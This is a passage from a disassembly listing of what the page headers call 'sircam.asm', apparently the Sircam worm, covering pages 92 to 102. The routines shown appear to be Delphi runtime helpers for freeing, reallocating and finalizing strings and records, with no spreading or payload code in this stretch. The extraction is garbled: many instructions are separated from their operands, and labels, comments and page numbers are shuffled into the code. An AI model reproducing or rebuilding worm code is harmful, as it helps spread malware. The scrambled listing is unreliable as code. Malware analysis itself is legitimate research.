ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403A60 proc near ; CODE XREF: sub_418438+4F\031p xor ecx, ecx jmp loc_403A68 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403A68: ; CODE XREF: sub_403A60+2\030j push mov mov xor test jz mov sub ebx ebx, edx edx, ecx ecx, ecx ebx, ebx short loc_403A78 ecx, [ebx-4] edx, ecx push call pop mov pop jmp endp ecx sub_4051AF ecx edx, ebx ebx sub_405144 loc_403A78: sub_403A60 ; CODE XREF: sub_403A60+11\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403A88: ; CODE XREF: sub_403ACC+1D\031j mov al, 1 jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403A90 proc near ; CODE XREF: sub_403ACC+2\031j ; sub_403ACC+D\031j ... sircam.asm Fri Aug 10 12:42:44 2001 mov test jz mov push push call pop edx, [eax] edx, edx short locret_403AA4 dword ptr [eax], 0 eax edx j_SysFreeString eax locret_403AA4: sub_403A90 92 ; CODE XREF: sub_403A90+4\030j retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403AA8 proc near push ebx push esi mov ebx, eax mov esi, edx loc_403AAE: mov test jz mov push call ; CODE XREF: sub_403BE8+7A\031p ; CODE XREF: sub_403AA8+1C\031j eax, [ebx] eax, eax short loc_403AC0 dword ptr [ebx], 0 eax j_SysFreeString loc_403AC0: sub_403AA8 ; CODE XREF: sub_403AA8+A\030j add ebx, 4 dec esi jnz short loc_403AAE pop esi pop ebx retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403ACC proc near ; CODE XREF: sub_403CDC+81\031p ; sub_403DF8+61\031p sub_403ACC test edx, edx jz sub_403A90 mov ecx, [edx-4] shr ecx, 1 jz sub_403A90 push ecx push edx push eax call j_SysReAllocStringLen test eax, eax jz loc_403A88 retn endp ; sp = -0Ch ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403AF0 proc near ; CODE XREF: sub_403B1C+85\031p ; sub_417928+5E\031p sircam.asm Fri Aug 10 12:42:44 2001 xor push mov push push mov lea mov ecx, ecx ebx cl, [edx+1] esi edi ebx, eax esi, [edx+ecx+0Ah] edi, [edx+ecx+6] mov mov add mov call add dec jg pop pop pop retn endp edx, [esi] eax, [esi+4] eax, ebx edx, [edx] sub_403BB0 esi, 8 edi short loc_403B02 edi esi ebx loc_403B02: sub_403AF0 93 ; CODE XREF: sub_403AF0+24\031j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403B1C proc near ; CODE XREF: sub_403B1C+6F\031p ; sub_403BB0+5\031j ... push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] xor ecx, ecx cmp al, 0Ah jz short loc_403B5B cmp al, 0Bh jz short loc_403B5B cmp al, 0Ch jz short loc_403B65 cmp al, 0Dh jz short loc_403B78 cmp al, 0Eh jz short loc_403B96 cmp al, 0Fh jz short loc_403B5B cmp al, 11h jz short loc_403B5B mov al, 2 pop edi pop esi pop ebx jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403B5B: ; CODE XREF: sub_403B1C+15\030j ; sub_403B1C+1A\030j ... mov add dec jg jmp [ebx], ecx ebx, 4 edi short loc_403B5B short loc_403BAA sircam.asm Fri Aug 10 12:42:44 2001 94 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403B65: ; CODE XREF: sub_403B1C+1F\030j ; sub_403B1C+58\031j mov [ebx], ecx mov [ebx+4], ecx mov [ebx+8], ecx mov [ebx+0Ch], ecx add ebx, 10h dec edi jg short loc_403B65 jmp short loc_403BAA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403B78: ; CODE XREF: sub_403B1C+24\030j push mov ebp ebp, edx loc_403B7B: ; CODE XREF: sub_403B1C+75\031j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_403B1C dec edi jg short loc_403B7B pop ebp jmp short loc_403BAA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403B96: ; CODE XREF: sub_403B1C+29\030j push mov ebp ebp, edx mov add mov call dec jg pop eax, ebx ebx, [esi+ebp+2] edx, esi sub_403AF0 edi short loc_403B99 ebp loc_403B99: ; CODE XREF: sub_403B1C+8B\031j loc_403BAA: sub_403B1C ; CODE XREF: sub_403B1C+47\030j ; sub_403B1C+5A\030j ... pop pop pop retn endp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403BB0 sub_403BB0 proc near mov ecx, 1 jmp sub_403B1C endp ; CODE XREF: sub_403AF0+1B\030p ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_403BBC Fri Aug 10 12:42:44 2001 proc near ; CODE XREF: sub_402B84+12\030p ; sub_403BE8+B9\031p ... xor push mov push push mov lea mov ecx, ecx ebx cl, [edx+1] esi edi ebx, eax esi, [edx+ecx+0Ah] edi, [edx+ecx+6] mov mov add mov call add dec jg mov pop pop pop retn endp edx, [esi] eax, [esi+4] eax, ebx edx, [edx] sub_403CD0 esi, 8 edi short loc_403BCE eax, ebx edi esi ebx loc_403BCE: sub_403BBC 95 ; CODE XREF: sub_403BBC+24\031j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403BE8 proc near ; CODE XREF: sub_403BE8+A3\031p ; sub_403CD0+5\031j ... cmp ecx, 0 jz locret_403CCE push eax push ebx push esi push edi mov ebx, eax mov esi, edx mov edi, ecx xor edx, edx mov al, [esi] mov dl, [esi+1] cmp al, 0Ah jz short loc_403C38 cmp al, 0Bh jz short loc_403C52 cmp al, 0Ch jz short loc_403C69 cmp al, 0Dh jz short loc_403C78 cmp al, 0Eh jz short loc_403C96 cmp al, 0Fh jz loc_403CAC cmp al, 11h jz loc_403CBB pop edi pop esi pop ebx pop eax mov al, 2 jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C38: ; CODE XREF: sub_403BE8+1D\030j cmp ecx, 1 sircam.asm Fri Aug 10 12:42:44 2001 96 mov eax, ebx jg short loc_403C49 call sub_4034C8 jmp loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C49: ; CODE XREF: sub_403BE8+55\030j mov edx, ecx call sub_4034EC jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C52: ; CODE XREF: sub_403BE8+22\030j cmp ecx, 1 mov eax, ebx jg short loc_403C60 call sub_403A90 jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C60: ; CODE XREF: sub_403BE8+6F\030j mov edx, ecx call sub_403AA8 jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C69: ; CODE XREF: sub_403BE8+27\030j ; sub_403BE8+8C\031j mov eax, ebx add ebx, 10h call sub_4043B8 dec edi jg short loc_403C69 jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C78: ; CODE XREF: sub_403BE8+2C\030j push mov ebp ebp, edx loc_403C7B: ; CODE XREF: sub_403BE8+A9\031j mov edx, [esi+ebp+0Ah] mov eax, ebx add ebx, [esi+ebp+2] mov ecx, [esi+ebp+6] mov edx, [edx] call sub_403BE8 dec edi jg short loc_403C7B pop ebp jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403C96: ; CODE XREF: sub_403BE8+31\030j push mov ebp ebp, edx loc_403C99: ; CODE XREF: sub_403BE8+BF\031j mov eax, ebx add ebx, [esi+ebp+2] mov edx, esi call sub_403BBC dec edi jg short loc_403C99 pop ebp jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403CAC: ; CODE XREF: sub_403BE8+36\030j ; sub_403BE8+CF\031j sircam.asm Fri Aug 10 12:42:44 2001 97 mov eax, ebx add ebx, 4 call sub_404BD8 dec edi jg short loc_403CAC jmp short loc_403CCA ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403CBB: ; CODE XREF: sub_403BE8+3F\030j ; sub_403BE8+E0\031j mov mov add call dec jg eax, ebx edx, esi ebx, 4 sub_4045AC edi short loc_403CBB loc_403CCA: ; CODE XREF: sub_403BE8+5C\030j ; sub_403BE8+68\030j ... pop pop pop pop edi esi ebx eax locret_403CCE: sub_403BE8 ; CODE XREF: sub_403BE8+3\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403CD0 proc near sub_403CD0 mov jmp endp ; CODE XREF: sub_403BBC+1B\030p ; sub_40D3B8+31\031p ecx, 1 sub_403BE8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403CDC proc near ; CODE XREF: sub_403CDC+CF\031p ; sub_403DF8+AC\031p push push push push mov mov xor mov lea mov xor mov push ebx esi edi ebp ebx, eax esi, edx eax, eax al, [ecx+1] edi, [ecx+eax+0Ah] ebp, [edi-4] eax, eax ecx, [edi-8] ecx mov sub jle mov add ecx, [edi+4] ecx, eax short loc_403D08 edx, eax eax, esi loc_403CF6: ; CODE XREF: sub_403CDC+100\031j sircam.asm Fri Aug 10 12:42:44 2001 add call 98 edx, ebx sub_4026B0 loc_403D08: ; CODE XREF: sub_403CDC+1F\030j mov eax, [edi+4] mov edx, [edi] mov edx, [edx] mov cl, [edx] cmp cl, 0Ah jz short loc_403D47 cmp cl, 0Bh jz short loc_403D58 cmp cl, 0Ch jz short loc_403D69 cmp cl, 0Dh jz short loc_403D7A cmp cl, 0Eh jz short loc_403D9A cmp cl, 0Fh jz loc_403DB3 cmp cl, 11h jz loc_403DC4 mov al, 2 pop ebp pop edi pop esi pop ebx jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403D47: ; CODE XREF: sub_403CDC+38\030j mov edx, [esi+eax] add eax, ebx call sub_40351C mov eax, 4 jmp short loc_403DD5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403D58: ; CODE XREF: sub_403CDC+3D\030j mov edx, [esi+eax] add eax, ebx call sub_403ACC mov eax, 4 jmp short loc_403DD5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403D69: ; CODE XREF: sub_403CDC+42\030j lea edx, [esi+eax] add eax, ebx call sub_404074 mov eax, 10h jmp short loc_403DD5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403D7A: ; CODE XREF: sub_403CDC+47\030j xor ecx, ecx mov cl, [edx+1] push dword ptr [edx+ecx+2] push dword ptr [edx+ecx+6] mov ecx, [edx+ecx+0Ah] mov ecx, [ecx] lea edx, [esi+eax] add eax, ebx call sub_403DF8 pop eax jmp short loc_403DD5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403D9A: ; CODE XREF: sub_403CDC+4C\030j xor ecx, ecx sircam.asm Fri Aug 10 12:42:44 2001 99 mov cl, [edx+1] mov ecx, [edx+ecx+2] push ecx mov ecx, edx lea edx, [esi+eax] add eax, ebx call sub_403CDC pop eax jmp short loc_403DD5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403DB3: ; CODE XREF: sub_403CDC+51\030j mov edx, [esi+eax] add eax, ebx call sub_404BF0 mov eax, 4 jmp short loc_403DD5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403DC4: ; CODE XREF: sub_403CDC+5A\030j mov mov add call mov ecx, edx edx, [esi+eax] eax, ebx sub_4045E8 eax, 4 loc_403DD5: ; CODE XREF: sub_403CDC+7A\030j ; sub_403CDC+8B\030j ... add add dec jnz pop sub jle lea add call eax, [edi+4] edi, 8 ebp loc_403CF6 ecx ecx, eax short loc_403DF1 edx, [ebx+eax] eax, esi sub_4026B0 pop pop pop pop retn endp ebp edi esi ebx loc_403DF1: sub_403CDC ; CODE XREF: sub_403CDC+109\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403DF8 proc near arg_0 = dword ptr push push push push mov mov mov mov mov cmp jz cmp ; CODE XREF: sub_403CDC+B6\030p ; sub_403DF8+98\031p ... 14h ebx esi edi ebp ebx, eax esi, edx edi, ecx ebp, [esp+arg_0] cl, [edi] cl, 0Ah short loc_403E3E cl, 0Bh sircam.asm Fri Aug 10 12:42:44 2001 100 jz short loc_403E55 cmp cl, 0Ch jz short loc_403E69 cmp cl, 0Dh jz short loc_403E7D cmp cl, 0Eh jz short loc_403E9E cmp cl, 0Fh jz loc_403EBB cmp cl, 11h jz loc_403ECF mov al, 2 pop ebp pop edi pop esi pop ebx jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403E3E: ; CODE XREF: sub_403DF8+13\030j ; sub_403DF8+56\031j mov eax, ebx mov edx, [esi] call sub_40351C add ebx, 4 add esi, 4 dec ebp jnz short loc_403E3E jmp loc_403EE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403E55: ; CODE XREF: sub_403DF8+18\030j ; sub_403DF8+6D\031j mov eax, ebx mov edx, [esi] call sub_403ACC add ebx, 4 add esi, 4 dec ebp jnz short loc_403E55 jmp short loc_403EE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403E69: ; CODE XREF: sub_403DF8+1D\030j ; sub_403DF8+81\031j mov eax, ebx mov edx, esi call sub_404074 add ebx, 10h add esi, 10h dec ebp jnz short loc_403E69 jmp short loc_403EE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403E7D: ; CODE XREF: sub_403DF8+22\030j xor mov lea ecx, ecx cl, [edi+1] edi, [edi+ecx+2] mov mov mov push call add add dec jnz ; CODE XREF: sub_403DF8+A2\031j eax, ebx edx, esi ecx, [edi+8] dword ptr [edi+4] sub_403DF8 ebx, [edi] esi, [edi] ebp short loc_403E86 loc_403E86: sircam.asm Fri Aug 10 12:42:44 2001 101 jmp short loc_403EE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403E9E: ; CODE XREF: sub_403DF8+27\030j ; sub_403DF8+BF\031j mov eax, ebx mov edx, esi mov ecx, edi call sub_403CDC xor eax, eax mov al, [edi+1] add ebx, [edi+eax+2] add esi, [edi+eax+2] dec ebp jnz short loc_403E9E jmp short loc_403EE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403EBB: ; CODE XREF: sub_403DF8+2C\030j ; sub_403DF8+D3\031j mov eax, ebx mov edx, [esi] call sub_404BF0 add ebx, 4 add esi, 4 dec ebp jnz short loc_403EBB jmp short loc_403EE3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_403ECF: ; CODE XREF: sub_403DF8+35\030j ; sub_403DF8+E9\031j mov mov mov call add add dec jnz eax, ebx edx, [esi] ecx, edi sub_4045E8 ebx, 4 esi, 4 ebp short loc_403ECF loc_403EE3: sub_403DF8 ; CODE XREF: sub_403DF8+58\030j ; sub_403DF8+6F\030j ... pop pop pop pop retn endp ebp edi esi ebx 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_403EEC proc near var_800 = byte ptr -800h push push push push add mov mov mov ebx esi edi ebp esp, esi, ebx, edi, ; CODE XREF: sub_403F78+1A\031p 0FFFFF800h ecx edx eax sircam.asm Fri Aug 10 12:42:44 2001 102 test ebx, ebx jnz short loc_403F09 mov eax, esi call sub_4034C8 jmp short loc_403F6A ; 